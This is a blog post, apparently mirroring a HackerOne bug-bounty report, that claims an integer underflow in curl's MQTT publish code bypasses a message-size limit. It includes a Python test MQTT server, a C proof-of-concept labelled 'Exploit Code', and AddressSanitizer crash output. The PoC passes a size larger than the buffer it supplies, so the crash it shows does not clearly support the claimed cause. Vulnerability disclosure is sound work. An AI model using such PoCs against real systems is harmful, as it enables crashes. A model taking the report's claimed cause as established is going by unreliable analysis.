{"id":35250,"date":"2026-01-13T06:42:58","date_gmt":"2026-01-13T06:42:58","guid":{"rendered":"http:\/\/localhost\/?p=35250"},"modified":"2026-01-13T06:42:58","modified_gmt":"2026-01-13T06:42:58","slug":"curl-integer-overflow-in-mqtt-protocol-handling-allows-bypassing-message-size-limit","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=35250","title":{"rendered":"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-13T12:27:57&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\nA logic error involving an integer overflow (specifically, an unsigned integer underflow) exists in the lib\/mqtt.c file within the mqtt_publish function. This vulnerability allows an attacker (or a malicious user configuration) to bypass the explicit MAX_MQTT_MESSAGE_SIZE check.\\n\\nThe vulnerability occurs when curl calculates whether an MQTT packet exceeds the maximum allowed size ( 0xFFFFFFF or ~268 MB). The validation logic performs a subtraction operation using the payload length before verifying if the payload is already too large. If the payload length exceeds the maximum size, the subtraction wraps around (underflows) to a large positive value, causing the safety check to pass incorrectly.\\n\\nThis leads to curl attempting to allocate a massive amount of memory and sending a packet that violates the intended protocol constraints defined in the source code.\\n\\n\\n## Vulnerable code\\nhttps:\/\/github.com\/curl\/curl\/blob\/master\/lib\/mqtt.c#L533\\nhttps:\/\/github.com\/curl\/curl\/blob\/master\/lib\/mqtt.c#L563-L568\\n\\n## Affected version\\ncurrent (8.18.0)\\n\\n## Steps To Reproduce:\\nTo reproduce this issue, we need  MQTT server to accept the connection and a C program using libcurl to send a payload larger than MAX_MQTT_MESSAGE_SIZE .\\n\\n1.MQTT Server ( mqtt_server.py )\\n&#8220;`\\nimport socket\\nimport struct\\nimport sys\\nimport time\\n\\ndef run_server():\\n    host = &#8216;127.0.0.1&#8217;\\n    port = 1883\\n    \\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n    sock.bind((host, port))\\n    sock.listen(1)\\n    \\n    print(f\\&#8221;Listening on {host}:{port}\\&#8221;)\\n    sys.stdout.flush()\\n    \\n    conn, addr = sock.accept()\\n    print(f\\&#8221;Connection from {addr}\\&#8221;)\\n    sys.stdout.flush()\\n    \\n    try:\\n        # Read CONNECT packet\\n        # Just read some bytes\\n        data = conn.recv(1024)\\n        print(f\\&#8221;Received CONNECT: {len(data)} bytes\\&#8221;)\\n        sys.stdout.flush()\\n        \\n        # Send CONNACK\\n        # Fixed header: 0x20, Remaining Length: 0x02\\n        # Variable header: Connect Acknowledge Flags: 0x00, Connect Return Code: 0x00 (Accepted)\\n        connack = b&#8217;\\\\x20\\\\x02\\\\x00\\\\x00&#8217;\\n        conn.sendall(connack)\\n        print(\\&#8221;Sent CONNACK\\&#8221;)\\n        sys.stdout.flush()\\n        \\n        # Now expect PUBLISH\\n        # Read the first few bytes to see the length\\n        head = conn.recv(5)\\n        if not head:\\n            print(\\&#8221;Client disconnected immediately\\&#8221;)\\n            return\\n\\n        print(f\\&#8221;Received head: {head.hex()}\\&#8221;)\\n        sys.stdout.flush()\\n        \\n        # We expect a huge packet if the vulnerability works\\n        \\n        received = len(head)\\n        start_time = time.time()\\n        \\n        while True:\\n            chunk = conn.recv(65536)\\n            if not chunk:\\n                break\\n            received += len(chunk)\\n            if time.time() &#8211; start_time \\u003e 1:\\n                print(f\\&#8221;Received {received} bytes&#8230;\\&#8221;, end=&#8217;\\\\r&#8217;)\\n                sys.stdout.flush()\\n                start_time = time.time()\\n                \\n        print(f\\&#8221;\\\\nTotal received: {received} bytes\\&#8221;)\\n        \\n    except Exception as e:\\n        print(f\\&#8221;Error: {e}\\&#8221;)\\n    finally:\\n        conn.close()\\n        sock.close()\\n\\nif __name__ == &#8216;__main__&#8217;:\\n    run_server()\\n&#8220;`\\n2.  Exploit Code\\n&#8220;`\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void)\\n{\\n    CURL *curl;\\n    CURLcode res;\\n\\n    \\n    setenv(\\&#8221;ASAN_OPTIONS\\&#8221;, \\&#8221;detect_leaks=0\\&#8221;, 1);\\n\\n    curl_global_init(CURL_GLOBAL_ALL);\\n    curl = curl_easy_init();\\n    if(curl) {\\n        curl_easy_setopt(curl, CURLOPT_URL, \\&#8221;mqtt:\/\/127.0.0.1:1883\/topic\\&#8221;);\\n        curl_easy_setopt(curl, CURLOPT_POST, 1L);\\n\\n        \/* use payload bigger than MAX_MQTT_MESSAGE_SIZE (~268MB) *\/\\n        const curl_off_t huge_size = (curl_off_t)300 * 1024 * 1024;\\n        curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, huge_size);\\n\\n  \\n        char *buf = (char *)calloc(1, 1024);\\n        if(!buf) {\\n            fprintf(stderr, \\&#8221;Failed to allocate small buffer\\\\n\\&#8221;);\\n            return 1;\\n        }\\n        memset(buf, &#8216;A&#8217;, 1024);\\n        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, buf);\\n\\n        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\\n\\n        printf(\\&#8221;ASAN PoC: attempting to send %lld bytes to MQTT&#8230;\\\\n\\&#8221;,\\n               (long long)huge_size);\\n        res = curl_easy_perform(curl);\\n\\n        if(res == CURLE_OK) {\\n            printf(\\&#8221;[ASAN] Transfer succeeded -\\u003e limit bypass confirmed.\\\\n\\&#8221;);\\n        }\\n        else if (res == CURLE_TOO_LARGE || res == CURLE_FILESIZE_EXCEEDED) {\\n            printf(\\&#8221;[ASAN] Transfer blocked by size limit.\\\\n\\&#8221;);\\n        }\\n        else {\\n            printf(\\&#8221;[ASAN] Transfer failed: %d (%s)\\\\n\\&#8221;, res, curl_easy_strerror(res));\\n        }\\n\\n        free(buf);\\n        curl_easy_cleanup(curl);\\n    }\\n    curl_global_cleanup();\\n    return 0;\\n}\\n&#8220;`\\n\\n## Ouput\\n1. MQTT Server ( mqtt_server.py )\\n&#8220;`\\nListening on 127.0.0.1:1883\\nConnection from (&#8216;127.0.0.1&#8217;, 51950)\\nReceived CONNECT: 26 bytes\\nSent CONNACK\\nClient disconnected immediately\\n&#8220;`\\n2. POC ouput\\n&#8220;`\\nASAN PoC: attempting to send 314572800 bytes to MQTT&#8230;\\n*   Trying 127.0.0.1:1883&#8230;\\n* Connected to 127.0.0.1 (127.0.0.1) port 1883\\n* Using client id &#8216;curlzeT6w484&#8217;\\n\\u003e MQTT\\u003c\\n       curlzeT6w484* mqtt_doing: state [0]\\n* mqtt_doing: state [0]\\n\\u003c  \\u003c * mqtt_doing: state [2]\\n\\u003c =================================================================\\n==10341==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000002780 at pc 0x000105765c88 bp 0x00016aff1710 sp 0x00016aff0eb0\\nREAD of size 314572800 at 0x619000002780 thread T0\\n    #0 0x000105765c84 in memcpy+0x284 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x85c84)\\n    #1 0x00019afb4d58 in mqtt_publish+0x130 (libcurl.4.dylib:arm64e+0x38d58)\\n    #2 0x00019afb4674 in mqtt_doing+0x154 (libcurl.4.dylib:arm64e+0x38674)\\n    #3 0x00019afb71c4 in multi_runsingle+0x258 (libcurl.4.dylib:arm64e+0x3b1c4)\\n    #4 0x00019afb6ebc in curl_multi_perform+0xc8 (libcurl.4.dylib:arm64e+0x3aebc)\\n    #5 0x00019af911b8 in curl_easy_perform+0x10c (libcurl.4.dylib:arm64e+0x151b8)\\n    #6 0x000104e0c990 in main poc_asan.c:42\\n    #7 0x000181126b94  (\\u003cunknown module\\u003e)\\n\\n0x619000002780 is located 0 bytes after 1024-byte region [0x619000002380,0x619000002780)\\nallocated by thread T0 here:\\n    #0 0x00010571d620 in calloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d620)\\n    #1 0x000104e0c8d4 in main poc_asan.c:30\\n    #2 0x000181126b94  (\\u003cunknown module\\u003e)\\n\\nSUMMARY: AddressSanitizer: heap-buffer-overflow (libcurl.4.dylib:arm64e+0x38d58) in mqtt_publish+0x130\\nShadow bytes around the buggy address:\\n  0x619000002500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n  0x619000002580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n  0x619000002600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n  0x619000002680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n  0x619000002700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n=\\u003e0x619000002780:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\\n  0x619000002800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\\n  0x619000002880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\\n  0x619000002900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\\n  0x619000002980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\\n  0x619000002a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\\nShadow byte legend (one shadow byte represents 8 application bytes):\\n  Addressable:           00\\n  Partially addressable: 01 02 03 04 05 06 07 \\n  Heap left redzone:       fa\\n  Freed heap region:       fd\\n  Stack left redzone:      f1\\n  Stack mid redzone:       f2\\n  Stack right redzone:     f3\\n  Stack after return:      f5\\n  Stack use after scope:   f8\\n  Global redzone:          f9\\n  Global init order:       f6\\n  Poisoned by user:        f7\\n  Container overflow:      fc\\n  Array cookie:            ac\\n  Intra object redzone:    bb\\n  ASan internal:           fe\\n  Left alloca redzone:     ca\\n  Right alloca redzone:    cb\\n==10341==ABORTING\\n\\n## Impact\\n\\n1. Applications using libcurl MQTT can crash or abort if they set CURLOPT_POSTFIELDSIZE_LARGE to a very large value but provide a small CURLOPT_POSTFIELDS buffer, ASAN confirms an out-of-bounds read.\\n2. Failing to enforce size limits via a correct comparison allows attackers or misconfigurations to force libcurl to process oversized payloads. The flawed check is a classic unsigned wraparound (CWE-190).&#8221;,&#8221;published&#8221;:&#8221;2026-01-13T07:12:57&#8243;,&#8221;modified&#8221;:&#8221;2026-01-13T12:23:44&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3508500&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3508500&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-13T12:27:57&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\nA logic error involving an integer overflow (specifically, an unsigned integer underflow) exists in the lib\/mqtt.c file within the mqtt_publish function. This vulnerability allows&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-35250","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=35250\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-13T12:27:57&#8243;,&#8221;description&#8221;:&#8221;## Summary:nA logic error involving an integer overflow (specifically, an unsigned integer underflow) exists in the lib\/mqtt.c file within the mqtt_publish function. This vulnerability allows...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=35250\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-13T06:42:58+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35250#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35250\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500\",\"datePublished\":\"2026-01-13T06:42:58+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35250\"},\"wordCount\":1417,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35250#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35250\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35250\",\"name\":\"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-13T06:42:58+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35250#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=35250\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=35250#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=35250","og_locale":"en_US","og_type":"article","og_title":"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-13T12:27:57&#8243;,&#8221;description&#8221;:&#8221;## Summary:nA logic error involving an integer overflow (specifically, an unsigned integer underflow) exists in the lib\/mqtt.c file within the mqtt_publish function. This vulnerability allows...","og_url":"https:\/\/zero.redgem.net\/?p=35250","og_site_name":"zero redgem","article_published_time":"2026-01-13T06:42:58+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=35250#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=35250"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500","datePublished":"2026-01-13T06:42:58+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=35250"},"wordCount":1417,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=35250#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=35250","url":"https:\/\/zero.redgem.net\/?p=35250","name":"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-13T06:42:58+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=35250#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=35250"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=35250#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: integer Overflow in MQTT Protocol Handling Allows Bypassing Message Size Limit_H1:3508500"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35250","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=35250"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/35250\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=35250"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=35250"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=35250"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}